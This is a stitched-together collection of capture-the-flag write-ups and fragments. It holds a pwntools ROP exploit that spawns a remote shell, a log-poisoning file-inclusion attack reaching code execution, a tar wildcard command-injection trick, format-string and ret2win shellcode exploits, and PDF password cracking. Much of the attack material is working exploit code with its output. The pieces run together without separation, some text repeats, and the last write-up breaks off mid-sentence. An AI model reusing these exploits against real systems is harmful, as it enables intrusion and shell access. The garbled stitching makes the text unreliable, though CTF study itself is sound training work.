QWORD PTR fs:0x28 0x401808 <do_string+130> je 0x40180f <do_string+137> 0x40180a <do_string+132> call 0x401070 <__stack_chk_fail@plt> 0x40180f <do_string+137> leave 0x401810 <do_string+138> ret 0x401811 <do_num+0> push rbp─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "robot_factory", stopped 0x7f82c145c17c in read (), reason: BREAKPOINT[#1] Id 2, Name: "robot_factory", stopped 0x7f82c142b3bf in clock_nanosleep (), reason: BREAKPOINT[#2] Id 4, Name: "robot_factory", stopped 0x4017ff in do_string (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x4017ff → do_string()────────────────────────────────────────────────────────────────────────────────gef➤ x/gx $rbp-0x80x7f82bbffeec8: 0x6161616161616161gef➤ x/s $rbp-0x80x7f82bbffeec8: 'a' <repeats 824 times>```In addition, if I go ahead an find the beginning of my long string of a's, I see that it is 1088 characters long. I input a string of 16 a's for string 1, and 67 for size, and 1088 = 16 * 68, or string 1 length * (size + 1).```➤ x/s $rbp-0x1100x7f82bbffedc0: 'a' <repeats 1088 times>```### Why the Canary is No Big Deal Fortunately, the canary should not be a significant problem. When a function is called within a pthread, the Thread Local Storage (TLS) is stored near the stack and can be overwritten with a sufficiently large overflow. The canary is compared with the stack_guard value within the TLS, so if I ensure that the canary and the stack guard are overwritten with the same value, I will not trigger the smashing detection and can then create a nice ROP chain. If I look at the decompilation of create_robot, I can see that I should be able to enter strings of up to 0x100 in length, and of any size supported by long integers. As a result, I should be able to achieve enough length to manage my stack guard overwrite.``` printf("Enter string 1: "); lVar1 = robots[current_index]; alloced_area = malloc(0x100); *(void **)(lVar1 + 0x10) = alloced_area; fgets(*(char **)(robots[current_index] + 0x10),0x100,stdin);... printf("Enter size: "); /* ooh, stack smashing detected */ __isoc99_scanf("%ld",robots[current_index] + 0x18); getchar();```I can illustrate this by increasing the size of the overwrite; in this example, I'm using a string 1 of 0x30 a's, and a size of 67.The canary still gets overwritten with a's:```gef➤ x/gx $rbp-0x80x7f8da9d20ec8: 0x6161616161616161```But the comparison works, and I instead error out because I've overwritten rsp with a's! All I have to do now is finesse my offsets to allow for a successful ROP.``` → 0x401808 <do_string+130> je 0x40180f <do_string+137> TAKEN [Reason: Z] ↳ 0x40180f <do_string+137> leave 0x401810 <do_string+138> ret```As an aside, I found that exessively large payloads would cause issues with line multiply_func+124, on which a memcpy is performed. It seemed to be messing with the value in rdx and causing an error; I did not look into it further, but you need to take care when selecting a size. ## Writing the Exploit I ended up doing a lot of the offset calculations via trial error; this was necessary since I had to consider repeats in my input string. I found that string 1 of 0xe0 a's and size of 10 would bypass the canary without causing further errors. I also experimented with adding varying amounts of non-a characters to the beginning and end, while maintaining an overall length of 0xe0, and determined that payloads like that shown below work:```payload = b'c' * 0x28 + b'a' * 8 + b'e' * 0x78 + b'a' * 8 + b'b' * 0x30```Both the canary and stackguard get set to 0x6161616161616161. I can then swap out the e's for a ropchain that starts with 8 bytes of padding, which gives me plenty of space to do whatever I like. Using the libc base I was able to derive earlier, I got a successful local solve like so:```binsh = libc_base + next(libc.search(b'/bin/sh\x00')) pop_rdi = p64(0x0000000000401ad3) # : pop rdi ; retpop_rsi = p64(libc_base + 0x0000000000027529) # : pop rsi ; retpop_rdx_r12 = p64(libc_base + 0x000000000011c371) # : pop rdx ; pop r12 ; retexecve = libc_base + libc.symbols['execve'] ropchain = b'e' * 8 + pop_rdi + p64(binsh) + pop_rsi + p64(0) + pop_rdx_r12 + p64(0) * 2 + p64(execve)ropchain += b'f' * (0x78 - len(ropchain))payload = b'c' * 0x28 + b'a' * 8 + ropchain + b'a' * 8 + b'b' * 0x30target.sendline(payload)print(target.recvuntil(b'size:')) target.sendline(b'10')target.interactive()```I discovered that this did not work remotely because my libc base seemed to be off. As a result, I created an alternative ropchain to leak the libc address for puts and compare it against the leak. Fortunately, I got a slightly different, but still consistent offset against the remote host. For reference, the offset between my leak and the libc address of puts turned out to be 0x8af6d8.```ropchain = b'e' * 8 + pop_rdi + p64(puts_got) + p64(puts_plt)ropchain += b'f' * (0x78 - len(ropchain)) payload = b'c' * 0x28 + b'a' * 8 + ropchain + b'a' * 8 + b'b' * 0x30print('This needs to be 0xe0', hex(len(payload))) target.sendline(payload)print(target.recvuntil(b'size:')) target.sendline(b'10') print(target.recvuntil(b'(n/s) > '))new_leak = target.recv(6)print(new_leak)puts_libc = u64(new_leak + b'\x00' * 2)print(hex(puts_libc)) print('as a reminder, the leak is at', hex(leak))print('to get puts_libc, I need to add', hex(puts_libc - leak), 'to my leak')target.interactive() ```Here is the final script:```from pwn import * #target = process('./robot_factory', env={"LD_PRELOAD":"./libc.so.6"}) #pid = gdb.attach(target, "b *create_robot+145\nb *do_string+138\nb *multiply_func+124\nb *do_robot\nb *start_thread+213\n set disassembly-flavor intel\ncontinue") libc = ELF('libc.so.6')elf = ELF('robot_factory') target = remote('64.227.38.214', 30031) #Getting libc leak: print(target.recvuntil(b'>'))target.sendline(b'n') print(target.recvuntil(b'>'))target.sendline(b'a') print(target.recvuntil(b'1:'))target.sendline(b'2') print(target.recvuntil(b'2:'))target.sendline(b'2') print(target.recvuntil(b'Result: ')) result = target.recvuntil(b'\n').strip()print(result) leak = int(result) puts_libc = leak + 0x8af6d8libc_base = puts_libc - libc.symbols['puts'] #print(target.recvuntil(b'>'))target.sendline(b's') print(target.recvuntil(b'>'))target.sendline(b'm') print(target.recvuntil(b'1:')) binsh = libc_base + next(libc.search(b'/bin/sh\x00')) pop_rdi = p64(0x0000000000401ad3) # : pop rdi ; retpop_rsi = p64(libc_base + 0x0000000000027529) # : pop rsi ; retpop_rdx_r12 = p64(libc_base + 0x000000000011c371) # : pop rdx ; pop r12 ; retexecve = libc_base + libc.symbols['execve']printf_libc = libc_base + libc.symbols['printf']puts_libc = libc_base + libc.symbols['puts']puts_plt = elf.symbols['puts']puts_got = elf.got['puts'] #My libcs are off, but the ROPchain basically worksropchain = b'e' * 8 + pop_rdi + p64(binsh) + pop_rsi + p64(0) + pop_rdx_r12 + p64(0) * 2 + p64(execve)#I used this alternate ropchain:#ropchain = b'e' * 8 + pop_rdi + p64(puts_got) + p64(puts_plt)ropchain += b'f' * (0x78 - len(ropchain)) payload = b'c' * 0x28 + b'a' * 8 + ropchain + b'a' * 8 + b'b' * 0x30print('This needs to be 0xe0', hex(len(payload))) target.sendline(payload)print(target.recvuntil(b'size:')) target.sendline(b'10')#target.interactive() #And this stuff down here to get the remote offset for my libc leak. This way I didn't have to deal with looping back to main.'''print(target.recvuntil(b'(n/s) > '))new_leak = target.recv(6)print(new_leak)puts_libc = u64(new_leak + b'\x00' * 2)print(hex(puts_libc)) print('as a reminder, the leak is at', hex(leak))print('to get puts_libc, I need to add', hex(puts_libc - leak), 'to my leak')'''target.interactive()```And here are the results when I run it:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/pwn_robot_factory$ python3 robot_factory_writeup.py [*] '/home/knittingirl/CTF/HTB_Uni_Quals_21/pwn_robot_factory/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/home/knittingirl/CTF/HTB_Uni_Quals_21/pwn_robot_factory/robot_factory' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to 64.227.38.214 on port 30031: Doneb'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n| |\n| WELCOME TO THE ROBOT FACTORY! |\n| DAYS WITHOUT AN ACCIDENT: |\n| 0 |\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nWhat kind of robot would you like? (n/s) >'b' What kind of operation do you want? (a/s/m) >'b' Enter number 1:'b' Enter number 2:'b' What kind of robot would you like? (n/s) > Result: 'b'140352903917256'b'\x00What kind of operation do you want? (a/s/m) >'b' Enter string 1:'This needs to be 0xe0 0xe0b' Enter size:'[*] Switching to interactive mode What kind of robot would you like? (n/s) > $ lsbinbootdevetcflag.txthomeliblib32lib64libx32mediamntoptprocrootrunsbinsrvsystmpusrvar$ cat flag.txtHTB{th3_r0b0t5_4r3_0utt4_c0ntr0l!}$ ```Thanks for reading!
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Aint-no-Mountain-High_Enough.html](https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Aint-no-Mountain-High_Enough.html) Cryptography – 500 pts (1 solve) – Chall author: Polymero (me) “Hills are easy to climb, but mountains? Hoho, they sure are something else!” nc ctf.k3rn3l4rmy.com 2238 Note: Wrap the flag with flag format (flag{}) Files: mountaincipher.py, server.py This challenge was part of our very first CTF, K3RN3LCTF 2021.
# Poison:Web:682ptsBypass some stuff and get the flag! [Click here](https://ch4.sbug.se/) # Solutionブラウザでアクセスすると、エラーが発生する。 curlしてみる。 ```bash$ curl https://ch4.sbug.se/<iframe src="https://64.225.23.248" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"> Your browser doesn't support iframes</iframe>```よくわからないがターゲットは`https://64.225.23.248`のようだ。 httpsできないのでhttpでつなぐと謎のサイトだった。 [site.png](site/site.png) `Where is the flag?`には`http://64.225.23.248/?file=inc.txt`がリンクされている。 任意ファイルが読み込めそうだ。 `../../../../../etc/passwd`を読み込むと以下のようなエラーが発生した。 ```bash$ curl http://64.225.23.248/?file=../../../../../etc/passwd~~~ Where is the flag? Warning: include(inc/etc/passwd): failed to open stream: No such file or directory in /var/www/html/index.php on line 29Warning: include(): Failed opening 'inc/etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 29 ~~~````inc`以下にパスが接続され、`../`は削除されるようだ。 `..././`によるバイパスを試みる。 ```bash$ curl http://64.225.23.248/?file=..././..././..././..././..././etc/passwd~~~ Where is the flag? root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falseDebian-exim:x:101:101::/var/spool/exim4:/bin/false ~~~```突破できたが、`/someflagfile`とある通り、ファイル名が不明である(ルートにあるようだ)。 戯れに`http://64.225.23.248/admin`などにアクセスしていると、apacheであることがわかる。 ```bash$ curl http://64.225.23.248/admin <html><head><title>404 Not Found</title></head><body><h1>Not Found</h1>The requested URL /admin was not found on this server.<hr><address>Apache/2.4.25 (Debian) Server at 64.225.23.248 Port 80</address></body></html>```アクセスログをヒントを求めて見てみる。 ```bash$ curl http://64.225.23.248/?file=..././..././..././..././..././var/log/apache2/access.log~~~ Where is the flag? - - [27/Nov/2021:08:28:27 +0000] "GET /?file=..././..././..././..././..././var/log/apache2/access.log HTTP/1.1" 200 791 "-" "curl/7.68.0"- - [27/Nov/2021:08:28:36 +0000] "GET /?file=..././..././..././..././..././var/log/apache2/access.log HTTP/1.1" 200 929 "-" "curl/7.68.0"- - [27/Nov/2021:08:28:40 +0000] "GET /?file=..././..././..././..././..././var/log/apache2/access.log HTTP/1.1" 200 1067 "-" "curl/7.68.0" The requested URL /admin was not found on this server. ~~~```複数回にわたる自身のアクセスログが、User-Agentとともに残っていた。 ここでUser-Agentにphpコードを入力し、ログから任意コードを実行する手法を思いつく。 ```bash$ curl http://64.225.23.248/satoki -H "User-Agent: " <html><head><title>404 Not Found</title></head><body><h1>Not Found</h1>~~~$ curl http://64.225.23.248/?file=..././..././..././..././..././var/log/apache2/access.log~~~ Where is the flag? - - [27/Nov/2021:08:34:24 +0000] "GET /satoki HTTP/1.1" 404 444 "-" "binbootdevetcgetyourfl4ghomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvar" ~~~```任意コード実行が可能であった。 `getyourfl4g`なる不審なファイルがあるので、catで読みだしてやる。 ```bash$ curl http://64.225.23.248/satoki -H "User-Agent: " <html><head><title>404 Not Found</title></head><body><h1>Not Found</h1>~~~$ curl http://64.225.23.248/?file=..././..././..././..././..././var/log/apache2/access.log~~~ Where is the flag? - - [27/Nov/2021:08:35:19 +0000] "GET /satoki HTTP/1.1" 404 444 "-" "SBCTF{You_Pois0ned_Me}" ~~~``` ## SBCTF{You_Pois0ned_Me}
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-1-800-758-6237.html](https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-1-800-758-6237.html) Cryptography – 437 pts (28 solves) – Chall author: Polymero (me) “I NEED A PLUMBER ASAP, MY FLAG IS LEAKING ALL OVER THE PLACE!!!” nc ctf.k3rn3l4rmy.com 2233 Files: 1-800-758-6237.py This challenge was part of our very first CTF, K3RN3LCTF 2021.
```from pwn import * p = remote('pwn.chall.pwnoh.io', 13383) p.sendlineafter('>', '1')p.sendlineafter('>', 'FLAG 1337') p.sendlineafter('>', '2')p.sendlineafter('>', 'Staff') p.interactive()```
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/16/K3RN3LCTF2021-Beecryption.html](https://www.sebven.com/ctf/2021/11/16/K3RN3LCTF2021-Beecryption.html) Cryptography – 500 pts (2 solves) – Chall author: Polymero (me) I was watching the bees and it seemed as if they were trying to tell me something… Have I finally gone crazy?!? Encrypted Flag: b8961e85e54e357cf1bb18550e9d397cb6e522e386a837a970c71e02a353eddb9117713e60aa8f764e4525f86898e379fce195437ec59202a5b715334b3295b9f9c9280b2de048183f1a9581860b852167102c1c4ec2897b59e360b5ba37d90b60f23b2ad47c04782a6be3bf Files: beecryption.py, subround.png This challenge was part of our very first CTF, K3RN3LCTF 2021.
[Original writeup](https://github.com/dystobic/writeups/tree/main/2021/KillerQueen/Deoxyencoded%20Nucleic%20Acid) https://github.com/dystobic/writeups/tree/main/2021/KillerQueen/Deoxyencoded%20Nucleic%20Acid
# \[Pwn\] - Flag Checker, Baby #### Points = 100 ## Prompt This program is perfectly safe, right? It only tells you what you already know. Check your flags: `nc challs.rumble.host 53921` #### Hints\[None\] ## Provided Files[files](../../files/cybersecurityrumble/flag_checker_baby) - link to files- baby_flag_checker.tar.gz - a tarball with the binary inside and C file inside ## Write Up - step 1 is to extract the binary- lets just walk through the source code- main() - the flag is stored in an environment variable, `$FLAG` - main places our input in a 128-byte buffer. - main passes our input and the flag to the `check()` function.- check() - if we input a string that is larger than 32-bytes, the method returns instantly - our input is copied into guess\[\] and the flag is copied into flag\[\] - the two buffers are compared using `strcmp()`, if they match we get the flag - this is interesting because they have different lengths - if it only compares until the first null-terminator, we can pass in the first chars of the flag, which are known to start with `CSR{`- since guess and flag are laid out next to each other in memory, and a failed attempt prints out guess - if we remove the null-terminator from guess, the print statement should print out both strings coalesced. #### Gameplan- we will pass a string with 32 chars followed by a null terminator - we'll send `'a' * 32`- `strlen()` in `check()` will return 32 because it excludes the null-terminator. ![image info](../images/cybersecurityrumble/strlen_manpage.png) - now when we use `strncpy()` to copy from input to guess\[\], the null terminator will be dropped because we are only copying 32-bytes or `sizeof(guess)`- used pwntools, code can be found in files. ![image info](../images/cybersecurityrumble/flag_checker_baby.png) ## Flag CSR{should_have_used_strlcpy_instead}
# Break the logic:Web:652ptsListen to the old man! [Click here](https://ch1.sbug.se/) # Solutionサイトにアクセスすると`Aren't you ina wrong place!?`と表示される。 Are you lost? [site.png](site/site.png) ソースにも不審な点はないのでdirbしてみる。 ```bash$ dirb https://ch1.sbug.se/~~~---- Scanning URL: https://ch1.sbug.se/ ----+ https://ch1.sbug.se/admin (CODE:301|SIZE:0)+ https://ch1.sbug.se/submit (CODE:200|SIZE:737)~~~````admin`があり、ログインページのようだ。 [admin.png](site/admin.png) `/submit`もあるようなので、見ると空白のページだ。 ソースを見る。 ```bash$ curl https://ch1.sbug.se/submit<html><head><title>half way in!</title><script src="/cdn-cgi/apps/head/xnSNotsdYPTd4Qn38KNoSYKvO4k.js"></script><script async src='/cdn-cgi/challenge-platform/h/b/scripts/invisible.js'></script></head><body></div>~~~```コメントに謎の文字列が埋め込まれている。 Cookieを確認すると`ASP.NET_SessionId`や`csrftoken`があった。 `/admin`や`/`でセットされているようだ。 これかどうかは怪しが先ほどの値をセットし、いろいろとアクセスする。 ```bash$ curl https://ch1.sbug.se/submit -H "cookie: csrftoken=4JqorR6IXT4swdwN0qTPTwxtinom3AbZ5wNlEQjrPzEVJUUmDhVPFX21P3Xsnm04"<html><head><title>half way in!</title><script src="/cdn-cgi/apps/head/xnSNotsdYPTd4Qn38KNoSYKvO4k.js"></script><script async src='/cdn-cgi/challenge-platform/h/b/scripts/invisible.js'></script></head><body> ~~~````csrftoken`で`/submit`が正解だった。 ## SBCTF{L0g!cs_M@n_I_H@t3_7h3m}
```from pwn import * context.arch = 'amd64' p = remote('168.119.108.148', 10010) printf = 0x410EE0 payload = b'faq'*158 + b'a'*4 + p64(printf)p.sendlineafter('text:', payload) payload = b'%12$p'p.sendlineafter('text:', payload) stack_leak = int(p.recvline(), 16)vector_ptr = stack_leak - 0x140info(hex(stack_leak))info(hex(vector_ptr)) payload = b'%7$p'p.sendlineafter('text:', payload) heap_leak = int(p.recvline(), 16)heap_base = heap_leak - 0x2bf0info(hex(heap_leak))info(hex(heap_base)) p.sendlineafter('text:', f'%{vector_ptr & 0xffff}c%12$hn') payload = b'%47$hhn'payload = payload.ljust(0x100, b'a')payload += asm(shellcraft.sh())payload = payload.ljust(0xf90, b'a')payload += p64(printf) + p64(vector_ptr + 8) + p64(0x200) p.sendlineafter('text:', payload) payload = fmtstr_payload(8, {0x4C9098: 0x42A0E5}) p.sendlineafter('text:', payload) pop_rdi = 0x00000000004018dapop_rsi = 0x0000000000404cfepop_rdx = 0x00000000004017dfret = pop_rdi + 1 payload = p64(0)payload += p64(pop_rdi)payload += p64((heap_leak - 0x1000) & ~0xfff)payload += p64(pop_rsi)payload += p64(0x21000)payload += p64(pop_rdx)payload += p64(0x7)payload += p64(0x45AC90)payload += p64(heap_leak - 0xf10) p.sendlineafter('text:', payload)p.sendline() p.interactive()```
[URL](https://macdonalds-web.challenge.ctf.thefewchosen.com)にアクセスします. どうやら同じディレクトリ内に隠しているフォルダかファイル(リンクが貼られていないけどたどれる)があって,そのファイル名を当てる問題です.問題文に作者はMac OSを使っていると書かれているので,これを利用します. [https://macdonalds-web.challenge.ctf.thefewchosen.com/.DS_Store](https://macdonalds-web.challenge.ctf.thefewchosen.com/.DS_Store)にアクセスすると.DS_Storeファイルが手に入ります.これはディレクトリ内のファイル情報が入っています.DS_Storeファイルはこのサイトで解析できます.[https://labs.internetwache.org/ds_store/](https://labs.internetwache.org/ds_store/) secretsディレクトリがあるらしいです.secretsディレクトリ内の.DS_Storeを確認します. [https://macdonalds-web.challenge.ctf.thefewchosen.com/secrets/.DS_Store](https://macdonalds-web.challenge.ctf.thefewchosen.com/secrets/.DS_Store) すると,`5973b4cc1d61c110188ee413cddb8652.php`というファイルがあるらしいです. https://macdonalds-web.challenge.ctf.thefewchosen.com/secrets/5973b4cc1d61c110188ee413cddb8652.php `TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}`
# Cyber Security Rumble 2021## Challenge - Result (Level 1)### Description: > I really want to know my test result, but unfortunately its additionally protected. I attached the email. Maybe you can help?### Included Files:> [result.tar.gz](https://github.com/zylideum/writeups/blob/main/csr2021/result/Test_Result.eml)### Step 1First, I analyzed the contents of the conversation rather than any headers or excess information.What stood out was the German and English translations of the doctor's communications: ```html<h3>Deutsch</h3><h1>Hallo Hans Deutschmeister</h1>Ihr Testergebnis liegt nun vor und befindet sich im Anhang dieser Mail.Das Ergebnis-PDF ist verschlesselt und ist durch ein Passwort zustzlich geschetzt.Das Passwort ist Ihre persenliche PostleitzahlWir enschen Ihnen alles Gute und viel Gesundheit!Ihr CoviMedical-Team <h3>English</h3><h1>Hi Hans Deutschmeister</h1>Your test result is now available and can be found in the attachment to this email.The result PDF is encrypted and is additionally protected by a password.The password is your personal zipcode.We wish you all the best and good health!Your CoviMedical Team```Great, so now we know we have an attached PDF, we know it's encrypted, and we know the password is our personal zipcode. Ihr Testergebnis liegt nun vor und befindet sich im Anhang dieser Mail. Das Ergebnis-PDF ist verschlesselt und ist durch ein Passwort zustzlich geschetzt.Das Passwort ist Ihre persenliche Postleitzahl Wir enschen Ihnen alles Gute und viel Gesundheit!Ihr CoviMedical-Team Your test result is now available and can be found in the attachment to this email. The result PDF is encrypted and is additionally protected by a password.The password is your personal zipcode. We wish you all the best and good health!Your CoviMedical Team ### Step 2Our next step should be retrieving this PDF from the .EML file and reconstructing it. Fortunately, it's not too difficult to find as it's clearly labelled under the `Content-Type` header.Since the attachment is long, I'll only include the final portion:```...MTMgL0lEIFs8YTdlN2YzMDQ0YWUwMjNmMWQxZmFjNDQ4YmYyNTU5MmM+PDJjMTYwZmMzNjkxZTg1ZmFmMjdkMjBlNmFhM2RlYmM3Pl0gL0VuY3J5cHQgMTIgMCBSID4+CnN0YXJ0eHJlZgoxMDE5OQolJUVPRgo=```This is clearly just base64 encoded data, so we can go ahead and decode that to see if it has any pertinent information: ![image](https://user-images.githubusercontent.com/43623870/143732036-eb3cde61-ac30-40df-a167-0204eb8fe57c.png) Nothing stands out as unusual, but it is clear that this should be a complete file, as we can see the `PDF` identifier and `%%EOF` at the end, denoting 'End of File'From here, we can reconstruct the PDF file by copying this decoded base64 data into a new `.pdf` file.Sure enough, we can open it and it prompts us for a password like the email suggested. ![image](https://user-images.githubusercontent.com/43623870/143732113-a7259cd2-0f45-4133-bbf9-5ec510992c9c.png) ### Step 3Now we just need the password to the PDF file, which can be cracked with john2pdf. Since we know that the password is our 'personal zipcode', we can also create a custom wordlist of all zipcodes in the world. Using john2pdf yielded the following hash which I saved to use john with our wordlist:```$pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf25592c*48*67171ef681ef91ed5bea716fa5eceda89b8659e1e7e4c5b810be37befb1ddd6ccc0217015a1eebce2c84e57607d22225*48*9b5a9e500fb87e9d4171e22fa77eb5a72ba857d2e2eaa4674ec8ed69831c77fdf400be271c304f6875dd1c5272a3fef0*32*e6e5cbe1bef4ba12e74a43e8a079970ed93664333955e76d22396fe69367d3fc*32*3de89fe5d937cf8a0b1105dd7c60a0c24bd3ca0e815b59cd02a59581d36165be```Using Google, I was able to find a [list](https://github.com/Zeeshanahmad4/Zip-code-of-all-countries-cities-in-the-world-CSV-TXT-SQL-DATABASE) of all of the countries, cities, and zipcodes in the world. It's quite a large file and has extraneous information, so I used the following command to carve out only zipcodes:```bashcat allCountriesTXT.txt | awk '{print $2}' > zipcodes.txt```I also verified this data was formatted properly by using the following command (with my zipcode expunged):```bashcat allCountriestTXT.txt | awk '{print $2,$3}' | grep [your zipcode]```Sure enough, it listed my zipcode followed by my city, so I was confident that all zipcodes were now carved and ready to be used as a wordlist. ### Step 4Finally, cracking the PDF is now relatively simple, as we just need to run john with the following command:```bashjohn --wordlist=zipcodes.txt pdf.hash```and once it was done cracking:```bashjohn --show pdf.hash```John was successful, and we have our password which can now be used to access the file:<details> <summary>Cracked PDF</summary> `result.pdf:73760` ![image](https://user-images.githubusercontent.com/43623870/143732546-c6bab04a-f424-4f72-80b6-2a99e2f9bcdf.png)</details> ## SummaryIn this challenge, we deciphered and rebuilt the attachment of an .eml file and used a custom wordlist to crack it.Had the password been more secure and perhaps set by the user, this would not have been possible. Thank "covimedical" for essentially spilling the password via plaintext.
outlookを用いてメールを開きます.PDFファイルはダウンロードし,本文を確認します.「パスワードは郵便番号」との記載がありました.アメリカでの郵便番号は数字6桁なので,これを全探索します. ```pyfrom pikepdf import Pdf def decrypt_pdf(encrypted_file: str, password: str, file_out_path: str = "out.pdf"): try: pdf = Pdf.open(encrypted_file, password=password) pdf_unlock = Pdf.new() pdf_unlock.pages.extend(pdf.pages) pdf_unlock.save(file_out_path) except: pass for i in range(1, 99999): decrypt_pdf(encrypted_file="result.pdf", password="{:05}".format(i))``` 最終的にout.pdfに答えが記載されています. `CSR{BigBigEntropy}`
* Upload a sufficient number of files for the tar archive to exceed 10 records * 20 blocks * 512 bytes = 102400 bytes (the default "checkpoint")* Exploit the wildcard character in the `tar` command by naming a file `--checkpoint-action=exec=sh shell.txt ` [Read the writeup here](https://ctf.zeyu2001.com/2021/cybersecurityrumble-ctf/enterprice-file-sharing)
# DownUnderCTF 2021 ## outBackdoor > 100> > Fool me once, shame on you. Fool me twice, shame on me.> > Author: xXl33t_h@x0rXx>> `nc pwn-2021.duc.tf 31921`>> [`outbackdoor`](outbackdoor) Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _ret2win_ ## Summary Basic _ret2win_ with a bonus stack alignment issue. ## Analysis ### Checksec ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)``` Partial RELRO = GOT overwrite; No PIE = Easy ROP; No canary = Easy BOF. ### Decompile with Ghidra ```cundefined8 main(void){ char local_18 [16]; buffer_init(); puts("\nFool me once, shame on you. Fool me twice, shame on me."); puts("\nSeriously though, what features would be cool? Maybe it could play a song?"); gets(local_18); return 0;} void outBackdoor(void){ puts("\n\nW...w...Wait? Who put this backdoor out back here?"); system("/bin/sh"); return;}``` `gets(local_18);` is your vuln. With no canary and no PIE, this is a simple `ret2win`. `local_18` is `0x18` bytes from the return address, so just send `0x18` of garbage followed by the address of `outBackdoor`. However... It will crash ([stack alignment](https://blog.binpang.me/2019/07/12/stack-alignment/)). Just test in GDB and It'll all make sense. Also click the link aforementioned link. There's two ways _out_ of this: 1. Create a ROP chain starting with `ret` to move the stack pointer down.2. Call `outBackdoor+1` to avoid the `PUSH RBP` instruction. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./outbackdoor') if args.REMOTE: p = remote('pwn-2021.duc.tf', 31921)else: p = process(binary.path) payload = b''payload += 0x18 * b'A'payload += p64(binary.sym.outBackdoor+1) p.sendlineafter(b'song?\n', payload)p.interactive()``` Output: ```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/downunderctf2021/outbackdoor/outbackdoor' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to pwn-2021.duc.tf on port 31921: Done[*] Switching to interactive mode W...w...Wait? Who put this backdoor out back here?$ cat flag.txtDUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s}```
# Discovery## Interacting with the judge serverConnecting with Netcat, we are welcomed by a prompt asking us a seed and a string. It then returns the name of few compression libraries alongside a number. We can then provide a new seed and string and the program loops on that.```Please send: seed:stringI'll then show you the compression benchmark results!Note: Flag has format DrgnS{[A-Z]+}1:A // This is our input none 26 zlib 34 bzip2 63 lzma 84``` ? We learn that the flag only contains uppercase characters inside the brackets. ? ## Peeking at server.py### What is happeningWe are provided a server.py file, a copy of it is available at the end of this WU, under Attachments. The interesting part is under `handle_connection`:```python seed, string = line.split(b':', 1) flag = bytearray(FLAG) random.seed(int(seed)) random.shuffle(flag) test_string = string + bytes(flag) response = [] for cfunc in COMPRESSION_FUNCS: res = cfunc(test_string) response.append(f"{cfunc.__name__:>8} {res:>4}")``` Every time we provide a `seed` and a `string`, it takes the `FLAG`, shuffles it based on our `seed` and prepend the shuffled flag by our `string`. For example, considering `FLAG = DrgnS{AAAAAAAAAAAAA}`, `seed = 1`, `string = a`, then `test_string = aA{A}ADArAAAAAAAnAgAS`, and the result of the benchmark is:``` none 21 zlib 24 bzip2 56 lzma 80``` ### What are the output numbers```pythondef none(v): return len(v) def zlib(v): return len(codecs.encode(v, "zlib")) def bzip2(v): return len(codecs.encode(v, "bz2")) def lzma(v): return len(lz.compress(v))``` ? Those always correspond to the number of bytes after compression of the shuffled and prepended flag. ? # Exploit## Size of the FLAGFirst thing first, the "none" compression is... not compressing. So it returns the size of the flag + the size of the string we prepend. Remind our discovery, we now know ? the flag is 25 characters long ?, including 7 characters of the flag format (i.e. "DrgnS{}"), so 18 characters to find!```Please send: seed:stringI'll then show you the compression benchmark results!Note: Flag has format DrgnS{[A-Z]+}1:A // This is our input none 26 zlib 34 bzip2 63 lzma 84``` ## Not so dumb brute force### General ideaNot sure it is the intended way to go forward. We focused on zlib results. What's great with zlib (and also bzip2) is that they use [Huffman Coding](https://en.wikipedia.org/wiki/Huffman_coding) and we remembered how it worked overall. It basically split its input into tokens and counts how many times they appear. Tokens are then be converted to bits in a way to be as efficient as possible. Those that appear the most will use as few bits as possible. Our vector of attack will be to have long tokens that take very few bits. ### Testing our main vector of attackAt that point, we tried to validate our idea. For that we updated server.py to add debug info:```python print("Initial flag: " + str(FLAG)) flag = bytearray(FLAG) random.seed(int(seed)) random.shuffle(flag) test_string = string + bytes(flag) print("Random + prefixed: " + str(test_string))``` We then started it with a custom 